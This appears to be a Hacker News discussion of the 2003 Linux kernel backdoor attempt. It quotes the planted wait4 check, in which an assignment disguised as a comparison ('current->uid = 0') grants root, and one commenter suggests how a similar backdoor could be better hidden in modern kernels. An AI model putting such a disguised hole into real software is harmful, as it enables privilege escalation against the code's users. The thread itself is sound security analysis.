Worse, agencies such as the NSA have two missions: offence and defence. Adding in backdoors helps the offensive mission, but hurts the defensive mission, so it only makes sense if the backdoor isn't so easy to find. An obvious backdoor hurts the US far more than it helps the US. This one was too obvious.
Some ideas:
1) A script kiddie found some way to break-in and edit CVS. The entire idea being to have something to brag about. This was caught too early to be brag-worthy (breaking ancient CVS isn't something to brag about).
2) It was a warning shot from some Western agency meaning "tighten up your security".
The recipient of the hatorihanzo.c then tried to backdoor the kernel after first owning the CVS server and subsequently getting root on it.
The hatorihanzo exploit was left on the kernel.org server, but encrypted with an (at the time) popular ELF encrypting tool. Ironically the author of that same tool was on the forensic team and managed to crack the password, which turned out to be a really lame throwaway password.
And that's the story of how two fine 0-days were killed in the blink of an eye.
That's an interesting theory that'd certainly make for a powerful message. Has anything like that been done before or is there any precedence for Western agencies to do these sorts of things covertly?
A) Even on HN the temptation has come up. e.g. some comments in posts about ransomware make a similar argument for transparently damaging and self-serving actions. Three letter agencies with much more power and ability probably had people making the same arguments.
B) The payoff was extremely low compared to the possibilities. Either whomever did this was unaware of the possibilities or not really interested in a major hack. Perhaps the idea was that if this actually works, the damage isn't so big, aside from embarrassing the Linux kernel team, and when the team noticed they'd tighten up.
The NSA still has a defensive mission, and it hasn't changed. It just might not be the defensive mission you assumed it was. IIRC, it's mainly to defend US Government systems and communications from adversaries. To the extent they help with the defense of civilian systems, their goal seems to be to give them adequate security, not absolute security.
For instance, take this episode from the development of DES during the 70s:
https://en.wikipedia.org/wiki/Data_Encryption_Standard#NSA's...
> NSA worked closely with IBM to strengthen the algorithm against all except brute-force attacks and to strengthen substitution tables, called S-boxes. Conversely, NSA tried to convince IBM to reduce the length of the key from 64 to 48 bits. Ultimately they compromised on a 56-bit key.
> this is not a mistake.
> Assume that the coder meant == 0 what is he trying to enforce. If these 2 bits (_WCLONE and _WALL) are set and your are root then the call is invalid. The bit combination is harmless (setting WALL implies WCLONE [...]), and why would you forbid it for root only.
I'll attach this here for people who read the article too quickly and think it may, somehow, have been a bug. This code was a very deliberate attack.
> In addition, parentheses were not required for the final comparison. This was done to prevent compiler warnings. This looks deliberate.
I think the parent's point is more convincing: why make this check only for root in the first place?
So why did this attacker choose such an obvious 'typo' rather than a subtle flaw in a large patch set?
And if you look at the "Scoring and Extra Points" section of http://underhanded-c.org/_page_id_5.html you will notice that it checks most of the boxes.
It is short, errors based on human perception (here = vs ==) are good enough, it is innocent looking under syntax highlighting, is is not platform dependent, and it even passes the "irony" check. It is just the plausible deniability that is not great, but it is still defensible with a lot of bad faith.
if (/* ... */ || current_euid() == GLOBAL_ROOT_KUID)
But the "backdoor" version would fail to compile (current_euid() is a macro but it's written to not be a permitted lvalue). You would need to write something more obvious like the following (and kernel devs would go "huh?" upon seeing the usage of current_cred() in this context) if (/* ... */ || current_cred()->euid = GLOBAL_ROOT_KUID)
In addition, comparisons against UIDs directly are no longer as common because of user namespaces and capabilities -- correct code would be expected to look more like if (/* ... */ || capable(CAP_SYS_ADMIN))
Which you can't write as an "accidental" exploit. And since most permission checks these days use capabilities rather than raw UIDs you'd need to do commit_creds(get_cred(&init_cred));
Which is bound to raise more than a couple of eyebrows and is really non-trivial to hide (assuming you put it somewhere as obvious as this person did).But I will say that it would've been much more clever to hide it in a device driver which is widely included as a built-in in distribution kernels. I imagine if you managed to compromise Linus' machine (and there are ways of "hiding" changes in merge commits) then the best place would be to shove the change somewhere innocuous like the proc connector (which is reachable via unprivileged netlink, is enabled on most distribution kernels, and is not actively maintained so nobody will scream about it). But these days we also have bots which actively scan people's trees and try to find exploits (including the 0day project and syzkaller), so such obvious bugs probably would still be caught.
I'm not an expert at C. I followed up on this kernel macro out of curiosity, and it was a confusing learning experience because it turns out the forbidden assignment
({ x; }) = y;
is silently permitted by GCC (for example, with -Wall --std={c99,c11,c18}), and does actually assign x=y. Even though that's expressly prohibited by the C standard (-Wpedantic).I assume this is old news to C programmers, but its insidiousness surprised me.
Common Lisp makes the Hamming distance even larger; equality tests are written as `(eq foo bar)`, while changing a value is `(setf foo bar)`. Common Lisp may have features which are undesirable in an OS kernel (garbage collection), but it does make the code wonderfully clear and easy to read.
That said, counterpoint, it's the kernel and performance is super important; the overhead of adding setters (etc) or an utility function like "current->isRoot()" is probably a tradeoff they made at some point.
2018 https://news.ycombinator.com/item?id=18173173
Discussed at the time (of the article): https://news.ycombinator.com/item?id=6520678
The number could've been 2342 and the backdoor would've worked exactly the same way.
Which brings up the question: how many more root-based backdoors are there now in the source code?
I wouldn't mind if languages simply mark assignments in conditions as errors. It's clever code, but clever code should be avoided in critical systems. And in general, I guess.
I actually don't mind this feature of C personally, just playing devil's advocate. Some people feel really strongly about not implicitly allowing conversion to bool. This is why.
if let userID = 0 {}
vs if userID == 0 {}
The let syntax makes this error more obvious.For the rough, rough example the below is probably not too clever.
`if (!(my_socket=new_socket(inet_addr)) { fail(); }`
The ace in Linux's pocket is that you're free to read it all. That can't be said for Apple, and Microsoft or any of the OS's running switches and hubs out there. Let alone all the server side cloud code.
I don't think it's a paranoid question and I don't think it's even a question. It's a natural assumption and I'd demand exceptionally good evidence to challenge that.
Points for Linux for its openness, people will probably catch some of these.
But for the normal contribution flow, code review isn't the only safeguard. There's also a deterrent in that should a backdoor be inserted via a contribution that went through the normal process, an audit trail exists. If the backdoor is later discovered, there would be reputation harm to the contributor.
Depending on how much an open source project knows about its contributors, it may be more or less difficult to track down a culprit, but in any case the audit trail makes such attacks more complicated.
No, it was inserted into the CVS mirror.
Assignments in if-statement can be useful, and that's how you prevent the compiler from complaining. That warning is intended for honest mistakes, not to catch backdoors.
Needless to say, the better class of compiler catches this fine. gcc 9 does with -Wall and makes it an error with -Werror. Ditto clang 9. (Look at me giving version numbers as if this were recent. Any non-antediluvian C compiler worth using will do the same.) My point is, any reasonable build would at least pop up some errors for this, making it appear amateurish to me.
Contrary to popular opinion, Noah's C compiler was actually highly advanced, but he only brought one copy on the ark with him. No backups, and less than ideal storage conditions... you can guess what happened next. A triceratops ate the parchment tape containing the only copy of Noah CC, and Noah threw the offending triceratops off the Ark, because in his rage, he thought "I have a spare tricero". Only afterword did he realize the error in his logic, thus dooming the triceratops to extinction.
* Only found in highly divergent manuscripts, widely assumed to be late additions.
However I can't find anything where this is directly said, all I can find is a collection of Linus' early 00s emails on the subject of GCC which includes a LOT of reference to said warnings: https://yarchive.net/comp/linux/gcc.html
Note that there are parentheses around the assignment which the compiler takes as an indication that this is intentional. Also note that the parentheses are required because without them the precedence would be wrong.
if ((options == (__WCLONE|__WALL)) && ((current->uid = 0)))
As an aside, note that this particular case also has the problem that the assignment expression makes the entire test expression false, which is suspicious. If an assignment expression occurs in the controlling expression of a selection or iteration statement, such that the entire expression is always true or false as a result, that should probably be warned about no matter how many parentheses have been heaped on to the assignment.At the same time, the standard implementation of strcpy is:
while((*dst++ = *src++));
which has a legitimate reason for doing assignment inside the while condition. Then again, one could argue that the above code is 'too clever'. And I would probably agree.Static analysis already has way too many false positives as it stands. For a well maintained code base the rate can easily be 100% false positives, which gets annoying after some time.
do {
*dst = *src;
*dst++;
*src++;
} while(*dst); if (a = b) doSomething;
But there is no warning if you write it like this: if ((a = b)) doSomething;
The convention is that with these unneeded parantheses, you are signalling that you actually want the assignment here. I would assume other static code analysis tools use this convention as well.The crucial question to me seems to be if this condition:
options == (__WCLONE|__WALL)
can be willfully introduced by a bad actor, and otherwise never really occur. Unfortunately I don't know this (not familiar with Linux development) but herein lies the answer it would seem.wait4's man page points to waitpid for details, and notes wait4 is deprecated in favor of waitpid.
So see the linux notes of this: https://man7.org/linux/man-pages/man2/waitpid.2.html
The following Linux-specific options [..] can also, since Linux 4.7, be used with waitid():
__WCLONE [...] This option is ignored if __WALL is also specified.
__WALL
So to trigger this:* You have to call a deprecated function
* With a flag that was at that time illegal (linux < 4.7)
* And a second illegal flag that is cancelled out by the first illegal flag.
This is something any userspace process can do, but no sane process should ever do.
Basically zero. There is no such thing as computer security in 2020.
We’ve all been there! /s
I imagine if Linus pushed to the remote repo, it would have said “your repo isn’t up to date”.
But AFAIK, it doesn’t have the same sort of built in checksum checkers.
If an attacker signed the commit insecurely, would git complain? Can you set git to require PGP signatures?
Probably.
you can sign commits with PGP signatures and with hooks, you can reject commits that aren't signed. i believe maintainers sign commits in the linux repo.
But then I have used exactly this pattern, and it looks something like:
struct protected_stuff { int userid; ... };
void set_userid(const struct protected_stuff prot, int newuserid) { struct protected_stuff backdoor = (struct protected_stuff *)prot; backdoor->userid = newuserid; }
and then the compiler complains if you go fiddling with userid outside this function where you deliberately opened a backdoor to write to it. (and you can wrap pragmas around that function to turn off warnings).
>Operator '&&' cannot be applied to operands of type 'bool' and 'int'